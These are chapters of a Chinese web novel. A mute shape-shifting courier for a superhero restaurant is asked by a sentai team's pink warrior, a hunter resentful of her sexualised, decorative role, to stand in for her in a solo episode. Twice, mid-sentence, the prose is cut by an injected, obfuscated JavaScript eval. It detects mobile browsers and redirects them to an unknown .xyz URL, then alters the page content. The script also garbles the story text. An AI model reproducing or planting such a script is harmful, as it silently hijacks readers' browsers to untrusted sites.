“刚刚……我的话可能有些过分,你别在意,”她说着,撅起嘴,“我就是故意想气气你——谁叫你又说我不漂亮不健康不强大,又说我没有工作……我有工作的,只是暂时不挣钱!” 是吗,原来她只是心眼小嘴巴坏,斤斤计较有仇必报啊。 她好像又噘嘴了,我扭头不去看,掏出签收单递给她。 递过去的同时,她也朝我伸出手来,手里握着一个方方正正的东西。 “这是我以前用过的手机,不嫌弃的话,你拿去吧,”她说,“不算礼物,反倒是有事想求你帮忙。” 什么意思?我看了一眼那个方盒子,没有接过。 “你说你们的店是给超级英雄们送餐的,你又去过很多不同的世界线……遇到有趣的事,能不能和我分享一下,”她有些不好意思地笑笑,“我对剧情框架之外的故事很感兴趣——比如超级英雄不被世界线束缚的时候,会做些什么?你说他们都有自我意识,那对于一些不合理的剧情,他们又是怎么看的?” 原来如此,这个“手机”应该是通讯工具吧,我在别的世界也见过。可我不会说话,就算给了我,也没法给她“分享有趣的事”。 (而且我也不知道什么算是“有趣的事”。) “不光是打电话,也可以发信息啊,”她在手机上点点划划,给我示范,“点这里,还可以拍照,再点这里,就能把照片和文字发给我,你看,很简单的!” 说话间,那只猫又踩着小步路过。她立刻转身抬手拿手机对着猫一瞄,“咔嚓”,屏幕上的画面被固定了;这套动作行云流水,也不像是第一次。 她把手机递给我:“你看,这就拍好了。” 屏幕上是一个狭窄拥挤,但阳光充沛的房间,地板是老旧的蜜糖色,到处堆满了书,一只白色银虎斑的小猫半立起身,正要跳上窗台;它的粉红色鼻尖在光下像一粒草莓软糖。 和我眼中所见的文字堆砌的岩洞截然不同。 我一时有些心动。K不准我拿客人的东西,哪怕是客人送的也不行,他看见了就会骂我。但反过来说,只要不给他看见,那就无事发生。 可是,这个东西应该需要信号吧?我的电视机也不能时时刻刻都收到节目,这个小东西到了店里,恐怕大部分时候都是废铁一块。 女人皱了眉,若有所思地点点头:“确实……如果没有通讯信号的话,就用不了手机,你们那儿多半也没有WiFi。” WiFi是什么?我刚这么一想,她就把手机收回去了。 我也收起餐盒,准备回程。到了店里,我要把今天的事告诉K,这真是个奇怪的地方,门背后不是隧道,而是直通目的地的房间,这可从来没有发生过,是因为刚刚刮了风暴,世界线还没有恢复吗?而且她既不是超级英雄,也不是管理员,为什么会拿到店里的名片—— “这样就可以了。”女人突然又开口了,听起来还挺高兴。 我转头一看,她重新伸出手,把手机递给我。这一次,手机是翻过来的,背面朝上,上面多了一张贴纸,贴纸上写着几个字。 “我给它加了一个设定,‘在哪儿都能用’,这样一来,它就成了故事里的道具,”她笑嘻嘻地说,“你拿去吧,我们保持联系。” ……这也行?我看着那几个歪歪扭扭的手写字,陷入思考。 “我可是编剧,是创作者,”她又撅嘴了,“创作者给自己故事里的东西加设定,天经地义,肯定管用!” 说着,她又不好意思地笑笑:“你应该也发现了,虽然我自称编剧,但其实我也只是一个故事里的角色——你能遇到我,就是证明。虽然我能控制自己创作的故事,但我也受到更高一级的规则的约束。接下去我的剧情是怎样安排的,是一夜成名还是碌碌无为,我也不知道。可能就像你说的,我只是另一个主角的故事里的点缀,不知道什么时候就不见了。” ……啊,她还是很在意。我挠了挠头。 “所以我想知道那些更强大,更光鲜,更受瞩目的主角,他们是怎么看待自己的故事的,”她说,“你把手机拿去吧,就当帮我这个忙。” 我想了想,接过了手机。它光溜溜的,像一块薄砖,真的到哪儿都能用吗? “……要是不能用,那就算了。”她有些心虚地眨眨眼,小声说。 我把签收单递给她。她刚要签字,又小心翼翼地问我:“多少钱?你们店很贵吧?” 我也不知道贵不贵,但店里的规矩是,单次不结账,餐费季度付清。 她立刻松了一口气:“太好了,太好了,下次你来要账的时候,我一定已经发财了。” 然后她一笔签完了字(显然是精心设计过的签名),帮我提起餐盒,一路送我到门口。那只小猫趴在玄关柜子上,昏昏欲睡。 “对了,你注意到了吗,”她站在门口对我说,“就算是现在,也有人在看着我们。” 她抬头朝上一指。我跟着仰起头,看到密密麻麻的文字组成的天花板。我使劲地望——横竖撇捺点的间隙里,似乎有一些眼睛在眨动。 11.战队的她 我原路返回,一推开门就看到踏板摩托还停在原地。我骑上它晃晃悠悠回店里去。虽然我依旧不知道为什么那个女人会有名片,还能打通电话,但既然她能打通一次,就肯定还能打通下一次,迟早会搞清楚原因。 我驾着车一路望去,这一带的地形几乎被风暴重塑,但现在已经稳定了,再过几天,我差不多就能用摩托开出一条新的道路来。 还没开到店门口,我远远看到一辆大货车停在正门前,两个穿着工作服,戴着鸭舌帽的人正一箱一箱往店里搬东西。我知道,这是常给店里送货的车。看来风暴结束了,店里的食材也需要补充了。我停好车,从他们身边走过,与他们互相点头致意。他们时不时就会送货过来,算得上眼熟,虽然我从来没有看到过他们藏在帽檐阴影下的正脸,不知道是男是女,也不知道他们是从哪儿来的。这没什么,反正他们也不知道我。 看着他们在忙,我绕了两步走到大货车旁边,凑近那方大大的后视镜。镜子里映出的是我熟悉的脸,她的脸,没有变形,也没有勾勾画画的文字,胳膊是胳膊,腿是腿,皮肤柔软,肌肉紧实。搞不明白,为什么在那个世界就会变成那副样子。 K正在厨房里清点送来的货物,暂时顾不上理我,好极了。我把签收单放到厨房吧台上,找了一个他看不到的角落,确认没有其他人之后,从口袋里掏出那只手机。 一直到现在,我才有工夫仔细地研究它。虽然那个女人说这是她用过的旧手机,但看上去还很新,屏幕也擦得非常干净,我又看到我的脸了。手机外面套着一个半透明的壳子,那张贴纸就贴在壳子背面。“在哪儿都能用”,比起她龙飞凤舞的签名来,这几个字歪七倒八,扭的扭,抖的抖,简直像是另一个人写的。 ——等一下,我能看懂那个世界的文字了? 一直以来,我只有在世界线之中,才能理解当地的文字和语言,一回到店里,就看不懂也听不懂。和客人面对面交流倒是没有问题,应该是被他们自身的力场影响,就像被画风同化;可换一种没那么直接的方式,比如看电视,就完全理解不了,什么文字都是面条跳舞,什么语言都是叽哇怪叫。 然而现在,我能看懂那张贴纸上的字了。 (甚至还是丑得不那么规范的字。) 我兴致勃勃,摸索着按了几个按钮,手机屏幕亮了——能看懂,我能看懂上面的时间。我又学着她的样子,在屏幕上划拉——能看懂,那些图标上的字我也懂了。我立刻打开相机,对着店里胡乱一拍——拍好了,虽然糊了但是拍好了!我点开她说过的那个图标,里面只有一个联系人,再点开她的头像,选择照片,发送—— 发送失败。 无信号——这三个字,我自然也看懂了。 果然,这里还是世界线交错的死角。即使她能修改相机的设定,也改变不了她的故事以外的世界。 刚才的雀跃像肥皂泡一样,“啪嚓”一声爆开,化作一股凉凉的水汽。我把手机放回口袋,扭头要找我的电视机,却看到一个女人站在店门口。 轻飘飘的粉红色碎花长裙,蓬松柔软的咖啡色长卷发,精心描摹的嘴唇湿润柔软,像带露的玫瑰,两个亮闪闪的耳环在发间摇晃,仿佛云幕中半遮半掩的弦月;她的身材高挑又丰满,成熟和纯真的不同魅力在她身上和谐地融合,不管怎么看,都是个十足的美人,也许那张脸就来自某位现实世界的著名女星。连那两个正在运货的工人都不由自主停了脚步,帽檐如视线朝她指去。 这样的美人来店里干嘛?吃饭,还是找K?我扭头朝厨房望望,K还在忙。于是我走到门口,朝她打手势,点点餐厅,摇摇头,又点点厨房,做了个“请”的手势,意思是现在没法营业,但如果她要找K,可以进去说话。 她眨了眨眼,仔细梳理过的睫毛轻轻一抬,目光落到我身上。 “这里只有你一个女孩子?”她问。她的嗓音清甜婉转,细细的,软软的,像带着花香的清风。 我点点头。虽然我不算完全符合生物学标准的女孩子,但K肯定不是女孩子。 美人的眼睛顿时亮了,戴着蕾丝手套的双手“啪”地一合,踩着鞋跟尖利如匕首的高跟鞋快步走到我面前。 “那就是你了!”她抓着我的手说,“林雅婷说的人,就是你了!” 啊? 找我的? 从来没有人指名来找我,等我反应过来,美人已经自来熟地拉着我走进店里坐下。我如梦初醒,赶紧给她倒了杯水,顺便朝厨房瞄去一眼——很好,K此刻最关心的东西是那两箱鸡腿和鸡翅。 美人接过水杯,朝我温柔一笑,说了声“谢谢”。我刚在她对面的椅子上坐下,立刻下意识地挺胸抬头,希望让自己看上去挺拔一些。 她刚才提到了“林雅婷”这个名字,所以她也来自AP0813,也是魔法少女? 不过,魔法少女不都是瘦精精的未成年人吗? “还没有自我介绍,”美人说着,优雅地抬手,把一缕鬓发拢到耳后,“我从PN0930来,属于AP0813的一个分支世界。我在那里,嗯……是某个战队的成员。” 战队?我恍然大悟。战队是一种很有特色的团队组合形式,被誉为AP0813的超级英雄御三家之一。AP0813的战队并不是简单地把超级英雄们召集到一起,再取个“讨伐者联盟”“凶兽小队”之类的名字;战队的主要成员一般固定为3人或5人,随着剧情发展会加入限定1人的新成员。他们有统一的战斗服,统一的力量体系,以及必不可少的巨大机器人。和魔法少女一样,战队成员也有自己的专属代表色,色彩又和角色类型绑定,比如红色一定是队长,蓝色大多是副手,绿色一般很活泼,粉色—— “我是粉红战士,”美人说,“按照传统,你可以叫我音速粉。” 音速是战队的名字,粉是她的颜色。自古以来,战队的粉色必定是女性,有些时候还是唯一的女性。 所以,她来找我是有什么事? 音速粉低了低头,面颊微微一红:“说来有些不好意思……你应该也知道,像我们这种团队,女孩子大多时候只是背景板。我虽然是唯一的女性战士,但没什么戏份,只要在男队员们说完话的时候点点头,拍拍手,追着他们跑来跑去,偶尔和他们斗嘴打闹,炒一下CP,再偶尔犯个迷糊,露个肉,我的剧情任务就完成了。” 确实如她所说,这样的女性角色在超级英雄中并不少见,还有人对此类角色做过归纳,叫做……“蓝妹妹”?出处似乎是某个久远的儿童动画片,一群蓝色的小精灵生活在森林中,整个村落只有一个女性小精灵,她就是蓝妹妹。但她并没有因为独一无二而成为故事的中心。相反,在男性小精灵们展现出独立与个性,推动剧情发展的时候,她只是一个披着长卷发,穿着高跟鞋的点缀,用来被追求,被喜爱,被拯救。 近来也有人用“性感台灯”来判断一个女性角色是否重要,或是否处于故事核心:把剧情中的女性角色替换成一盏性感的台灯,一个被动但美艳的客体,故事框架和剧情走向是否会发生变化。 我稍微想了想,如果给台灯装上芯片,接入人工智能,让它直接变成巨大机器人参与战斗,似乎也没什么影响。 (可能还会吸引到一小部分口味独特的群体。) 音速粉继续说了:“刚开播的时候,我们的人气是断层领先,因为是周年纪念作,前期也做足了宣传造势,设定很新奇,战斗服和机器人的造型都很帅气,演员都是正在上升期的新人,大家非常期待我们的故事。上周打败了中boss,剧情也过半了,战队的第六人也登场了,理应有一个人气的小高峰,但收视率反而连续滑坡……” 她停了一下,抿嘴,皱眉,又悄悄从垂落的刘海下打量我。是有什么难以启齿的话吗? “就……管理员突然通知我,说上级开会后决定,考虑到战队近来的人气,要把之前预定的剧情往后推,先插入一集我的个人回。”她小声说,包裹着蕾丝手套的手指绞成一团。 个人回?意思就是由她主演的自己的个人剧集?那不是挺好,虽然一般只有一集,但她至少能做一集的主角了。 音速粉涨红了脸,吞吞吐吐,扭扭捏捏,好像卡在嗓子里的不是一句话,而是一根鱼刺。这副娇羞可怜的样子又让那两个鸭舌帽驻足了一秒。 “就是……那个……我想……”音速粉说到一半,抬头猛吸一口气,再次握住了我的手,“能不能拜托你,变成我的样子,去演我——就一集,可以吗?” 啊? “平时我只有一点点戏份,有时候明明参战了,却连句台词都没有,虽然不服气,但换个角度来说……也比较安全。”音速粉说。 安全? “个人回是我主演的个人故事,从头到尾都是我,有很多台词,很多镜头,可能还要换很多衣服——那就完蛋了!绝对不行!这一集过去,我怕是再也不能留在战队里了!”音速粉提高音调,表情和语气都有了微妙的变化,“因为……因为……因为我其实是这样的!” 她松开抓着我的手,用力摘掉蕾丝手套,又一只蕾丝手套,摊开手掌,展示在我面前。 ……有什么特别的吗?也是十个手指,排列整齐,没有多一个或少一个,也没有一个长在手背一个长在手腕,更没有什么蹼或者鳞片之类的东西。非要说特别,就是她的右手拇指格外粗壮有力,指腹有一块坚硬的椭圆形的茧。食指和中指也是,饱满健实得像小钢弹,第三指节覆盖了一层铠甲似的厚茧,关节内侧还有一道连续的深深的凹痕。我又看向她的左手,后三指的根部关节处,各有一块圆圆的老茧——这是使用武器的痕迹,是什么武器? 不过话又说回来,她本来就是超级英雄,就算因为战斗让双手变得不那么纤细柔美,也很正常吧? “你是不是在想,只是茧子而已,没什么大不了的?”音速粉红着脸说,“其实,其实还有……” 她抿了抿嘴,脱掉身上那件轻薄的纱制小开衫,露出碎花长裙纤细的吊带,以及—— 强壮有力的肩头,精干健硕的上臂,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449385|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为体脂偏低,像树根似的浮于肌肉的血管。她站起来转过身,即使在放松的状态下,肌肉线条依旧有着山石般的起伏,脊柱深深嵌入坚实的背肌,如钢筋铸成,隐没在柔软的碎花长裙下。 “我老家是个小山村,我是猎户的女儿,从小就练习箭术。有一次暴雨夜,山怪骚动,入侵了村子,破坏农田和房屋,还引发了泥石流。我一个人爬上最高的塔楼,用了三支箭把它杀了——这就是我被推荐加入战队的原因。”音速粉说着,重新穿上轻纱小开衫。和林雅婷那种爆发型的肌肉不同,她属于精瘦干练的体型,像一头敏捷而有力的母鹿,但只要用宽松的上衣遮盖强壮的上半身,再把嗓音压低,掐细,配上低眉顺眼的表情,完全就是个弱不禁风的纤柔美人。 我下意识地朝桌上的水杯一瞄——早知道这是位能独自射杀山怪的女士,也许该给她倒杯啤酒。 或者烧酒。 “加入战队以后,管理员说我长得可爱,身材也好,正适合做周年纪念的粉战士,还向我保证,我能继续用我的方式战斗——原话是‘弓箭嘛,优雅,安静,美丽,最适合女孩子啦’,”音速粉说着,突然咬牙切齿,“我信了他个鬼!一开播,给我一把画满爱心和翅膀的玩具弓,根本拉不开!箭头都是爱心,技能动作是挺胸撅屁股抛飞吻再射箭,我是丘比特吗!我靠给敌人拉郎配来战斗吗!我问管理员这能干嘛?他说女孩子不要打打杀杀,大家冲上去的时候,你在后面用这个帮大家治疗伤口,加加buff就好了——呸!” 音速粉猛地刹住话头,一把握住了桌上的杯子。“咔”的一声,杯壁上绽开几道裂纹。她沉着脸垂着头又低声说了句什么,我只听到一连串的器官名称,一连串的人称代词,以及一个措不及防的干脆利落的弹舌音。 哦,弹舌音,帅气,想学。 音速粉回过神来,深吸一口气,看到手里裂开的杯子,顿时又红了脸:“不好意思……这个我来赔。” 我摇摇头,赔不赔的无所谓,只要K不知道,就等于无事发生。 “总之,你也看到了,我的体型和性格都不太符合剧情要求。平时戏份少倒是无所谓,真的进入我的个人回的话……一定会暴露,毕竟我也不知道具体的故事是什么样的,”音速粉说,“林雅婷告诉我,你能随意改变自己的外形,所以我想拜托你变成我的样子——当然,比我瘦小一点——帮我完成个人回的剧情,可以吗?” 第一次听到这样的请求,多少有些新鲜。我一时不知道该怎么回应,可她一脸真诚,亮闪闪的大眼睛里满是期待,被这样一个美人深深凝望,实在很难拒绝。我想了想,指指嘴巴,捏住嘴唇,摇头。 “你的意思是,你不会说话,所以不方便吗?”音速粉笑了,“没关系,我会给你一个微型麦克风,你把它别到衣服上。需要开口的时候,我会通过那个来说话——那个故事的时间跨度不会超过一天,我全程都会在附近,有什么情况,马上就能处理。” 她的世界线的一天,不知道在这儿会过去多久。我朝厨房望了望,此刻,K最关心的是那20条牛肋排。 趁他在忙的时候,偷偷溜走,应该没什么问题;就算被发现,也可以推说,是因为风暴让地形改变,在路上耽搁了不少时间。我又看看那两个走进走出的工人,他们想必也没有那个告状的闲心。 见我一直没有开口,音速粉似乎有些着急。她又叹口气:“你是不是在想,我一边骂剧情骂设定,一边却还要拼命去迎合?确实,这不是我想成为的超级英雄,但我现在已经是了,也只能继续适应下去。你还记得林雅婷吧?我是在世界线的切换点遇到她的,她背着行李正要离开AP0813。因为身材太壮,她最后还是没能成为正式的魔法少女,所以也不能继续留在学校,现在不知道去了哪儿。就是因为她,让我有些担心自己——如果我也回老家去,我的故事可能很快就会结束,那个时候,我会去哪儿?是不是也不存在了?” 说着,她突然又握住了杯子,“咔”,又一道裂缝。 “我们队里的那些男人,要么是家族世袭,要么是熟人介绍,还有个更夸张的,因为在人气偶像票选中胜出,所以成为战士?开什么玩笑,这是偶像训练营吗?凭什么他们轻轻松松就能做超级英雄,我费尽千辛万苦,差点连命都丢了,还只能干些扭屁股抛媚眼的事?我苦练箭术是为了拿着玩具比划的吗?这故事到底是哪个弱智写的,他怎么不自己穿个超短裙跳着舞打架,去死!” 哦,又一个弹舌音,帅气,想学。 音速粉吸了一口气,又一口气,又一口气,终于压下了怒火。她放下杯子,戴回蕾丝手套,再次握住我的手。 “总之,希望你能帮我,只要过了这一关,我就又是个透明安全的背景板了,”她说,“我会给你报酬的——你想要什么?” 报酬?我倒是没有特别想要的东西,就算给我钱,不同世界线的货币也不通用,没有任何意义。我想了想,指指嘴,又点点她。她一愣。我又张嘴,点点舌头,点点她。 弹舌音,帅气,想学。 12.她的豪华公寓 手机时间下午2点18分,K正在厨房清点刚送到的蛤蜊。 2点19分,我骑上踏板摩托,带着音速粉,朝PN0930出发了。 第一次骑摩托带人,我有些紧张,上半身都是绷直的,一路担心刚修好的车子会不会又半路抛锚。所幸它很给面子,连发动机都没怎么哼唧。在音速粉的指引下,我很快找到了她来时的那扇门——直立在地面的银灰色金属门板,直立于门板的银灰色金属把手,就像一面磨花了的镜子,在沙漠里非常显眼。音速粉下车把门打开,又跳上后座,拍拍我的肩膀:“走吧。” 我们驶入隧道,又驶出隧道,与AP0813几无二致的街景在眼前展开。世界线出现分支是很常见的事,分支世界往往与主世界共享基础世界观,许多设定都是相同的,只是关键节点会有所区别——也有人称之为平行世界。 我朝后视镜瞥去一眼,脸已经自动变化成现实风格的女性面孔,大约40岁,短发,素颜,颧骨高耸,眼神锐利,穿了一身略微脏污的工作服,看上去有些疲惫;看来今天随机分配给我的,是刚下班的车间女工的角色。 “你的脸每次都会变吗,在进入世界线的时候?”音速粉在后座问我。我点头。 “可是这样的话,岂不是很难被人记住?”她又问。 我为什么要被人记住?被越多人记住,就会在故事里留下越多的踪迹,日积月累,会慢慢影响原生世界,这可不是什么好事。不过,对他们超级英雄来说,在大众心目中留下印象,靠自己的一次次战斗改变世界,倒是常规的升级路线——可我又不是超级英雄。 车间女工一转车把,照着音速粉指的方向,朝她的公寓驶去。 音速粉的公寓在市中心,离地铁站步行10分钟,周边便利店超市电影院餐厅咖啡厅一应俱全,还有一个景色优美的小公园和一家历史悠久的书店,属于对未来满怀希望的学生们做白日梦时的完美住所。我停好摩托,音速粉刷脸打开公寓大门,带着我走进酒店大堂般金碧辉煌的前厅,脚下的大理石地砖比镜子都亮。沿路遇到几个年轻帅气的保安,朝她鞠躬问好。他们的视线在我脸上停留片刻,有一瞬间的厌恶,一瞬间的不快,看到和我站在一起的音速粉,又一瞬间变成滴水不漏的礼貌。 如果我和前几次一样,有一张年轻美丽的少女面孔,他们恐怕就不是这样的态度。用不同人的长相体验不同的角色,这也是这份工作能提供的少数乐趣之一。 “安排给我的人设是财阀独生女,从小就学钢琴插花茶道弓道,不想和联姻对象结婚,离家出走加入战队,但爷爷奶奶每个月都会打来一笔巨额零花钱——简直开玩笑,我爷爷是打猎的,我爸爸是打猎的,要是没有来这儿,我也是打猎的,打猎的村姑不配和人气票选第一在一个战队吗,”音速粉说着,转身走进电梯,按下顶层的按钮,“出场那集,还要我做出一副懵懵懂懂的样子:‘诶~这里的房租很贵吗?可是,这栋楼是我16岁生日的时候,爷爷买给我的礼物呀~’” 她捏着嗓子装模作样地念台词,又天真地睁大眼睛,耸起肩膀扭来扭去,整个人连声带形都像一段波浪线。 扭完了,她抬头望着快速闪动的楼层数字,慢慢开口:“不过,虽然我不想做笨蛋大小姐,但也不想一辈子都在山里,摸摸熊脚印热不热,闻闻野猪屎新不新鲜。” 我默默记住,明天就要扮演她,她的想法动作神态都是模仿的重点要点。 “叮”的一声,电梯门打开,走廊的感应灯亮起。毕竟是酒店式高档公寓,偌大的一整层楼,只安排了三四个房间。音速粉带着我一路走到走廊尽头,打开指纹锁,刚要开门,突然顿了一下,红着脸朝我笑笑:“里面挺乱的,你不要见怪。” 我点头,这没什么,在AP0813,许多光鲜亮丽的女性角色都会被安排一个生活白痴的设定:不会做饭,不会收拾,不会打扫,也属于一种约定俗成的反差感人设模板—— 门开了,映入眼帘的是一个又宽阔又拥挤,又高雅又低糜,又奢华又邋遢的巨大客厅。 巨大客厅,一切都很巨大。巨大的水晶吊灯,巨大的真皮沙发,巨大的古董挂画,巨大的酒水柜、落地灯、电视机、音箱,大理石雕像……这些巨物如同露出水面的礁石,穿插环绕在它们之间的,是皱巴巴的真丝睡衣,揉成一团的蕾丝长裙,落单的刺绣袜子,疲惫的真皮外套,罹难的羊绒围巾,坠机的鳄鱼提包……以及丧偶的手工皮鞋若干,迷路的大牌化妆品若干,野生的珠宝首饰若干。 怎么说呢,情理之中,意料之外。 我知道会乱,没想到是又有钱,又乱。整个房间就像是个奢侈品的原始森林,这些衣服首饰手提包就是天生野长的蘑菇,漫山遍野,俯拾皆是。 虽然因为房间巨大,到不了“无处下脚”的程度,但一时也让我的眼睛迷了路。 “啊,你别动那些,”音速粉说,“这些是布景,位置都是固定的,设计好的,连色彩也是专门搭配过,避免让画面显得太乱。如果碰歪了,管理员会骂我。我平时走路都是绕着它们走的。” 原来是人工种植的啊。 “我也不懂,为什么男性角色要展示反差感,就是表面高傲,其实温柔,表面鲁莽,其实细腻,表面冷漠,其实会打毛衣会做饭,还会在下雨天给路边的小猫撑伞,”音速粉说,“而女性角色要体现反差,就是在外美丽的,在家邋遢,在外干练的,在家懒惰,在外精明的,在家连开瓶器都不会用,需要男人手把手地教——凭什么,他们的反差都是正面的,我们的反差就是金玉其外败絮其中?法律规定女性角色设定一个优点就必须搭配一个缺点?管理员还告诉我,时不时要打破几个杯子,走路的时候记得每500米一个平地摔,吃饭一定要把米饭沾到脸上,因为‘笨手笨脚的才会让观众觉得很可爱’——这种事情,小脑发育正常的成年人都做不出来吧?我都豪门千金了,还会把米饭沾到脸上?什么观众会觉得成年人做这种幼女行为很可爱,简直可以报警——” 她意识到自己又激动起来,赶紧掐住话头,深吸一口气,又一口气,然后转身去了宏伟的厨房,打开华贵的水龙头,为我倒了一杯价值连城的水。而我还沉浸在她帅气的弹舌音中,久久回味。 “个人回的故事要从明天开始,你今晚将就一下,在我这里过夜吧,”音速粉说,“还好房子大,你可以随便挑个房间休息——你放心,其他的房间因为不会出现在故事里,所以没有这么乱,我每天都打扫的。” 我摇头,用左手点点她,又用右手指指自己,然后把两个手指并在一起。明天就要进入她的个人回,时间不多,从现在开始,我们最好形影不离。 音速粉眨了眨眼,思考片刻,明白了我的意思。 在体积允许的范围内,我的种族可以接近100%地模仿自己见过的有形物体,包括生物及非生物;除了完整复刻,还可以根据具体情况对局部进行特殊变化。但外形上的相似只是粗浅的模仿,要在个人回中滴水不漏地扮演她本人,我必须仔细地观察,并学习她的神态、动作,在不同状况下做出的反应。除此之外,我也需要了解她的队友们的情况,以免在细节上露出马脚。 更让我担心的是,很多时候,战队粉战士的个人回都和亲情有关,比如乡下的父母突然前来探望,国外的父母突然回来探望,死去的父母突然托梦探望……然后,粉战士和双亲发展出一些观念上的碰撞和摩擦,再互相谅解,互相包容,过程中再抽空和某个男队员发生一点关于二人关系的误会,最后父母带着对孩子的挂念和期望坐上返乡的列车/飞机/茄子牛,皆大欢喜。 如果真是这样,我就要面对看着她长大的亲人,一般程度的模仿怕是远远不够。 接下去的时间里,我和音速粉并排站在她辽阔的衣帽间,站在雄伟的穿衣镜前,比照她的样子,仔细地改变我的外形。与她不同,音速粉是非常典型的东方人的长相,眉骨平,眼窝浅,鼻梁短,整体轮廓更为柔和扁平。骨架要小一些,身高也相对略矮,不过在PN0930,音速粉已经属于高挑美人。 但根据她本人的强烈要求,我降低了一些身高,同时减少了身体的肌肉含量,让四肢和躯干比原版更为纤细单薄,因为“那些男战士都长得不高,还瘦精精的,不能在同框的时候看上去比他们高壮”。 不过,我记得她去店里的时候,穿了一双高得吓人的高跟鞋? 音速粉注意到了我飘向高跟鞋的视线,叹了口气:“管理员说,我的长相比较成熟,属于‘姐姐系’,应该穿高跟鞋体现女人味。可是我穿平跟都快比男战士高了,要再穿高跟,直接比他们高半个头。偏偏剧情整天让我露腿,这高跟鞋非穿不可。所以每次和大家在一起的时候,我只好站在边上,尽量站得远点——近大远小,这样看上去才不会个头太大。” 她找了一双鞋跟相对粗短的皮鞋递给我。我试着踩上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472377|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,顿时觉得双腿被拉紧了,重心摇摇晃晃,大腿和小腿仿佛从膝盖处断开,光是走路都要摔倒,她居然还要穿着这样的鞋子奔跑,战斗? 我朝她打手势:一定要穿? “很难受吧?”音速粉说,“没办法,管理员说,我这样的高个,这样的长腿,要是不穿高跟鞋就浪费了——可我是在山里打猎才长那么高的,腿是用来追捕猎物的,又不是长来给他们看的。” 她又在衣柜里翻找一阵,找到一双更矮的,差不多5公分左右的鞋子递给我:“我们的敌人里还有一个女干部。其他的敌人都是奇形怪状的,只有她是人形,大胸细腰高跟鞋,鞋跟直接长在脚上,想脱都脱不掉。除了高跟鞋,还要穿很细很窄的丁字裤蹦蹦跳跳,被打败了还得趴着撅屁股……哎,每次结束战斗,都很想替她报警。” 那为什么还不报警……?这个念头飞快地闪过,又被我掐灭。我和K一样,是钻了漏洞才能不被世界线的规则束缚。我身在剧情外,指责剧情里被限制被捆绑的人,也算是一种幸灾乐祸。 不过,如果当时我被她带走了,去了她的故事里……会不会现在,我也痛骂剧情痛骂世界线,却没有办法挣脱? 她的故事里,也有这样的规则吗? 她也要穿高跟鞋吗? 我又想起那个送我手机的小个子编剧。她是创造世界的人,她造出的世界,会有这样的规则吗? 晚上我和音速粉睡在一个房间,有标配的巨大落地窗和繁华夜景。她的床是king-size,比K的厨房都大。床单枕头都是粉红色,软软的,香香的。我不需要睡觉,所以几乎没有躺下休息过,这还是第一次躺在床上,脊柱被柔软地承托,全身的重量分散开来,好像回到了还是一粒种子的时候,舒服极了,简直想开花。 音速粉睡在床的另一边。她说以前在家里的时候,房子很小,她每天和姐姐妹妹挤在一起睡觉,有时候早上急急忙忙起来,会互相穿错衣服。她长得最高大,妹妹喜欢穿她的衣服,还会偷偷早起,把她的外套穿在身上再睡。 “那次,山怪入侵村子,一脚就把我家的房子踢翻了,腰一样粗的房梁在它脚下‘嘎吱嘎吱’裂开,跟枯树枝似的。爸爸妈妈带着我们一起逃跑。我背着妹妹,她吓坏了,想哭又不敢哭,把我的衣服都咬烂了,”说这些话的时候,她躺在床上,看着窗外的灯火璀璨的都市夜景,“当时我突然想到,我能射杀山上的野兽,为什么现在却要像猎物一样逃跑?如果只能杀死比我弱小的动物,我弯弓搭箭又有什么意义?” 她朝我翻过身来,眼睛闪闪发亮:“然后我把妹妹交给妈妈,自己挎上弓就跑回去。村里人要把我拦下,可是我腿长,跑得快,他们都追不上我。当时我想,山怪虽然大,但它也是活的,会喘气的——是活物,就会死。还好村里的塔楼还没塌,我就爬上去,瞄准它的眼睛就是一箭。” 说着说着,她从床上坐起,朝我比划当时的情形。 第一箭射中山怪的眼睛,山怪吃痛地仰起头,露出脖颈。 再一箭,射中没有被鳞片包裹的柔软咽喉,黄绿色的液体喷泉般涌出。山怪重重地顿住脚步,朝箭来的方向转过身,怒吼震碎屋顶的瓦片。 第三箭,她害怕得全身颤抖,便把手臂穿过塔楼的廊柱,紧紧搂住那根木头,让身体得以固定。山怪朝她冲来了,每一步都几乎把大地踩碎。她数着自己的心跳,在某一次呼吸的瞬间,箭矢从弦上激射而出,呼啸声裂开空气,穿过层层叠叠的坚硬甲壳,命中鳞片与鳞片相接的一丝细缝,深深钉入巨兽的心口。 “然后它就倒下了,那么大,那么沉,像座山一样。就是那时候,我不想再做一个猎人,我该杀的不是那些纯良无知的动物,”音速粉说,“我的箭头应该对准作恶的怪物。” 原来这是她加入战队的初衷。此刻她眼中的光芒比窗外的灯火更亮,我要记住这样的眼神。 手机铃声突然响起,音速粉回过神来,探身拿起一旁的手机。她又捏起了嗓子,轻轻柔柔地说话,表情也跟着变得柔软,充满“女人味”。 不久,她挂了电话,全程共计说了3声“好的”,5声“知道了”。放下手机的时候,她叹了口气,视线朝我一划。 “音速红打来的,”她说,“约我明天去沙滩,提醒我一定要穿泳衣——看来这就是个人回的内容。” 好消息,不是亲情回。 坏消息,好像是福利回。 13.紫色的她 在剧集人气低迷的时候,插入一集节奏轻松,画面养眼的番外性质的福利回,也是常见做法。当然,绝大多数情况下,由团队中的女性超级英雄负责养眼。 